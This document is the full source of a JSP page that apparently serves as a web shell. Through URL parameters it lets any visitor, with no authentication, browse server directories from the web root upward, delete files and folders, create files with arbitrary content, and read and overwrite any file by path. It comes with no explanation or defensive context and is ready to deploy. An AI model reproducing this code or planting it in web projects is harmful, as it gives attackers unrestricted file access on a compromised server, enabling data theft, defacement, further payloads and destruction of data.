|
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
public class Files {
public Files() {
fileSepa=System.getProperty("file.separator");
}
public String getSeparator(){
return fileSepa;
}
public String getDefaultEncoding(){
String temp=System.getProperty("file.encoding");
return temp;
}
public String getList(String strPath){
files=new File(strPath);
StringBuffer sb=new StringBuffer("");
if(files.isDirectory()){
File listFile[]=files.listFiles();
for(int i=0;i<listFile.length;i++){
if(listFile[i].isDirectory()){
sb.append("<b>Folder</b>:<a href=\"?action=list&path="+listFile[i].getPath()+"\">"+listFile[i].getName()+"</a>"+":"+"<a href=\"?action=delfolder&path="+listFile[i].getPath()+"\">DelFolder</a>"+"<br>\n");
}
else{
sb.append("File:"+listFile[i].getName()+":"+"<a href=\"?action=del&file="+listFile[i].getPath()+"\">delete</a>"+" <a href=\"?action=edit&file="+listFile[i].getPath()+"\">Edit</a>"+"<br>\n");
}
}
}
return sb.toString();
}
public boolean mkdir(String strPath){
try{
files=new File(strPath.toString());
if(!files.exists()){
files.mkdir();
}
}
catch(Exception e){
e.printStackTrace();
}
return true;
}
public boolean deldir(String strPath){
try{
files=new File(strPath.toString());
if(files.exists()){
File listFile[]=files.listFiles();
for(int i=0;i<listFile.length;i++){
if(listFile[i].isDirectory()){
listFile[i].delete();
}
else{
listFile[i].delete();
}
}
files.delete();
}
}
catch(Exception e){
e.printStackTrace();
}
return true;
}
public boolean deleFile(String strPath){
try{
files=new File(strPath.toString());
if(files.exists()){
files.delete();
}
}
catch(Exception e){
e.printStackTrace();
}
return true;
}
public boolean createFile(String strPath,String content){
BufferedWriter bw=null;
try{
files=new File(strPath.toString());
bw= new BufferedWriter(new OutputStreamWriter(new FileOutputStream(files), "gb2312"));
bw.write(content,0,content.length());
bw.flush();
}
catch(IOException e){
System.out.println("file write error"+e.getMessage());
}
finally{
try{
bw.close();
}
catch(IOException e){
e.printStackTrace();
}
}
return true;
}
public String readFile(String filepath) throws FileNotFoundException
{
String returnStr="";
try{
files=new File(filepath.toString());
InputStreamReader read =new InputStreamReader(new FileInputStream(files),"gb2312");
BufferedReader br=new BufferedReader(read);
String line=null;
line=br.readLine();
while(line!=null){
returnStr=returnStr+line+"\n\r";
line=br.readLine();
}
}
catch(IOException e){
System.out.println("file open error"+e.getMessage());
}
if(returnStr==null){
return "file is empty";
}
else{
return returnStr;
}
}
File files=null;
public String fileSepa=null;
}
%>
<%
request.setCharacterEncoding("gb2312");
String strDir = request.getParameter("path");
if(strDir==null){
strDir=request.getRealPath("/");
}
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strContent = request.getParameter("content");
Files fs=new Files();
String splitstr="/";
if(fs.getSeparator().equals("\\")){
splitstr="\\";
}
String parentStr="";
parentStr=strDir.substring(0,strDir.lastIndexOf(splitstr));
out.println("<a href=?action=list&path="+parentStr+">../</a>");
out.println("<fieldset style=\"padding:10px;\"><legend>current path</legend>"+request.getRealPath("/"));
out.println("<form method=post action=\"?action=createfile\">");
out.println("FileName:<input type=text name=\"file\" size=\"50\" value=\""+strDir+"\"><br>Content:<textarea cols=\"50\" rows=\"10\" name=\"content\"></textarea>");
out.println("<p><input type=submit value=\"CreateNewFile\"> <input type=reset value=reset></p></form>");
out.println("<br></fieldset>");
if(strAction!=null && strAction.equals("del"))
{
Files f=new Files();
f.deleFile(strFile);
out.print("delete file:"+strFile+" <a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");
}
if(strAction!=null && strAction.equals("list"))
{
Files f=new Files();
out.print("<fieldset style=\"padding:10px;\"><legend>File List</legend>"+f.getList(strDir)+"<br></fieldset>");
}
if(strAction!=null && strAction.equals("delfolder"))
{
Files f=new Files();
f.deldir(strDir);
out.print("delete folder:"+strDir+" <a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");
}
if(strAction!=null && strAction.equals("createfile"))
{
Files f=new Files();
f.createFile(strFile,strContent);
out.print("create file:"+strFile+" <a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");
}
if(strAction!=null && strAction.equals("edit"))
{
Files f=new Files();
out.println("<form method=post action=\"?action=editfile\">");
out.println("<input type=hidden name=\"file\" size=\"50\" value=\""+strFile+"\"><br><textarea cols=\"50\" rows=\"10\" name=\"content\">"+f.readFile(strFile)+"</textarea>");
out.println("<p><input type=submit value=submit> <input type=reset value=reset></p></form>");
}
if(strAction!=null && strAction.equals("editfile"))
{
Files f=new Files();
f.createFile(strFile,strContent);
out.print("Edit file:"+strFile+" <a href=\"#\" onClick=\"javascript:history.back();\"><=返回</a>");
}
%>
|